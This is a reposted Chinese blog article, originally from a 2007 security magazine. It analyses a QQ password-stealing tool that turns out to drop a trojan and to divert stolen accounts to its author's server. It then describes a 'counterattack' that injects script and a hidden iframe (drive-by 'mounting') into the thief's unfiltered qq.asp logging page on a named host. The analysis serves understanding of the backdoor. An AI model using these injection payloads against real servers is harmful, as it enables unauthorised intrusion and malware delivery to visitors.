來源：fhod's Blog
作者：fhod 小財
說明：文章已發表于***手冊07年10期，轉載請注明出處！

對明小子QQ密碼特工軟件的分析 ----小財

今天無聊給一朋友講解QQ盜取原理，從網上找了一個工具 “明小子QQ密碼特工”結果發現這個軟件有后門。下面就讓我帶著大家來分析一下。

首先我們用nod32來查一下有沒有毒。圖1


看到了吧沒有病毒。我們把監控打開在運行看看圖2


看到了吧 NOD32檢測到了病毒。為了確認一下。我再用‘***輔助查找器’的文件監視功能來檢測下。

圖3


新建 C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\123.exe

很明顯軟件本身在運行的同時釋放了一個123.exe 而NOD32查殺到的也就是這個文件。

C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\

接著我們用peid查下123.exe. 圖4


EP段.nsp1經常搞免殺的應該知道這是北斗加的殼，我們再看看區段vmp 圖5


這個一看就是用vmprotect做的免殺。至于123.exe是什么***咱門就不繼續分析了。

接下來分析他生成后的文件是不是一樣令人擔憂。

隨便配置一個圖6


Ollydbg手工給他脫殼esp定律簡單 圖7


脫殼成功后我們在用PEID檢測下 圖8


我們再用c32asm對他進行反匯編，搜索asp圖9


看到了什么 .剛才我是默認設置的應該是[url]http://k.thec.cn/xieming/69q/qq.asp[/url]才對。，怎么會是[url]http://langyeqq.cn/qq/newbacka.asp[/url] 這個呢！我們瀏覽看看 圖10


"pzQQ"看到了吧，說明就是他的盜號的，從這些可以確定，這個軟件不但運行的時候施放一個***，而且就連我們配置好的文件也被他留了后門，而作者就坐等著收號了。

后門反擊戰 作者：fhod[E.S.T VIP]

看到這..想必大家也和我一樣非常氣憤..難道我們就任由作者下去嗎.當然不..現在我們就開始反擊.

我們來看看qq.asp的代碼
首先來看

strLogFile="Q7.txt"

這個是QQ接受文件..默認的是q7.txt

繼續看代碼

QQNumber=request("QQNumber")

QQPassWord=request("QQPassWord")

QQclub=request("QQclub")

QQip=request("QQip")

是沒經過任何過濾的..這些參數的數據我們完全可以自定義

在往下看

if QQNumber="" or QQPassWord="" then

response.write "pzQQ"

response.end

假如QQNumber和QQPassWord的值為空就返回pzQQ .然后程序結束工作.. 只要這兩個值不為空就繼續執行下面的代碼

StrLogText =StrLogText&QQNumber&"----"&QQPassWord&"----會員:"& QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")

StrLogText=StrLogText&")"

寫入q7.txt文件

格式為 QQ號碼----QQ密碼----會員:----IP:

繼續看下面的代碼

set f=Server.CreateObject("scripting.filesystemobject") (沒有q7.txt這個文件就自動新建)

set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)

ff.writeline(StrLogText) (打開q7.txt并寫入數據)

最后response.write "發送成功!" 滿足條件提示成功.

所有的代碼也就是這些..程序并未做任何過濾..和處理..也就是說..只要滿足qq.asp?QQNumber=123&QQPassWord=123 就回返回 "發送成功!"的提示.

[url]http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=123[/url]

圖11


這就證明了QQNumber=123&QQPassWord=123這兩個我們是可以自己定義的..如果我們寫入的不是數字..而且一段腳本代碼呢?會不會執行呢..讓我們來試下
[url]http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=[/url]< ... quot;fhod")</script>

圖12


插入代碼成功...我們來看下

[url]http://www.ciker.org/soft/q7.txt[/url]的源文件又是什么樣的..

圖13


再次證明對提交的數據是無任何限制的...我們完全可以自己發揮想象.插入任何代碼都可以...

如果想反掛馬的話..我們就可以提交以下數據

[url]http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=[/url]<iframe%20&# ... 20width=480%20height=480></iframe>

圖14


當然我這里把width和height設置為480只是為了方便演示..實際掛馬中要改為0

好了..現在我們就可以給作者一個驚喜去了..圖15
本文鏈接地址：[url]http://www.huaidan.org/blog/?id=1429[/url]

轉載于:https://blog.51cto.com/foxhack/48001

總結

以上是生活随笔為你收集整理的QQ盗号软件后门分析与反击的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。